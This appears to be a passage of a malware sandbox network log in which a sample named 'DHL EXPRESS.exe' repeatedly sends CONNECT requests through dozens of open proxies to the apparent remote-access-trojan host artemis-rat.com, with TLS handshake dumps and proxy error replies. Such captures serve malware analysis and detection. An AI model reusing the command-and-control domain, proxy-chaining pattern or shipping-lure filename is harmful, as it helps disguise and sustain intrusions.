Mar 11, 2024 18:36:53.412142992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.565828085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.566344023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.566287994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.565653086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.581250906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.581450939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.581376076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.8	54515	35.72.118.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.414001942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.676381111 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:53 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:53.676866055 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ef 41 34 3d 9a 55 91 52 ad 39 3f f6 cf 2b da 8e fa d5 2d 40 10 ff de e7 fa 91 ad 5e 07 23 7a 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lheA4=UR9?+-@^#z*,+0/$#('=<5/artemis-rat.com#fQ3$@qYsc%KQ/`]ou(x#"/8IoiN%
Mar 11, 2024 18:36:53.939892054 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 7f 9e dd 17 a5 ad c1 25 70 78 d2 3e d1 1f 71 94 c7 4d f5 13 0f a2 73 06 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9%px>qMsDOWNGRD0000H010Uartemis-rat.com0240311171243Z260311171243Z010Uartemis-rat.com0"0H0jkhXp+v
Mar 11, 2024 18:36:53.994004965 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f2 35 f7 31 5b 4e bc 8a fb 39 41 16 51 94 e7 ed cf 7a c5 02 96 f9 eb bd e4 d0 2a 64 25 88 ee 02 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2f 43 e0 39 75 b7 da d3 9a d8 f6 ec ff b2 6a 8d 35 f2 90 d9 d3 Data Ascii: %! 51[N9AQz*d%(/C9uj58
Mar 11, 2024 18:36:54.256442070 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 e6 06 8c a1 9f 11 4d 11 a3 d6 28 20 51 f6 97 f0 77 b6 03 3c 01 67 07 6f 2e 0b 20 67 c6 66 7c 56 29 d5 01 9b 7e 79 29 f1 Data Ascii: (M( Qw<go. gf\|V)~y)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.8	54518	51.158.111.76	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.414283991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.065932989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.065928936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.956784964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.565885067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.269128084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.956737995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.284523964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.628148079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.8	54187	180.178.104.110	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.414412975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.8	54498	47.91.65.23	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.414844036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.097147942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.206621885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097959995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.344161034 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.8	54481	177.38.5.16	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.415364027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.8	53494	95.70.220.173	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.421252966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.8	54232	91.142.222.84	57041	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.421890974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.503282070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.584963083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.677889109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.733011007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.909462929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.909588099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:06.003556013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.8	54525	47.243.92.199	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.428282022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.738256931 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.8	54480	20.206.106.192	8123	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.428580046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.784544945 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.8	54541	46.17.63.166	10000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.430154085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.728578091 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.8	54258	37.187.77.58	49507	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.438556910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.503345013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.584954977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.677865982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.8	54567	192.154.246.96	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.444855928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.8	54597	45.12.31.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.447953939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.602025986 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.8	54547	185.109.184.150	56067	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.455560923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.8	54574	162.214.225.223	50753	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.466914892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956674099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.8	54544	201.93.159.234	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.467233896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.8	54234	138.2.73.157	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.474821091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.8	54237	122.53.82.126	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.474822044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.8	54130	107.152.98.5	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.475565910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.8	54559	61.111.38.5	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.475876093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.782352924 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 17:36:53 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.8	54257	38.48.98.38	28080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.484272957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.565958023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.566220045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.566272020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.565671921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.581314087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.581451893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
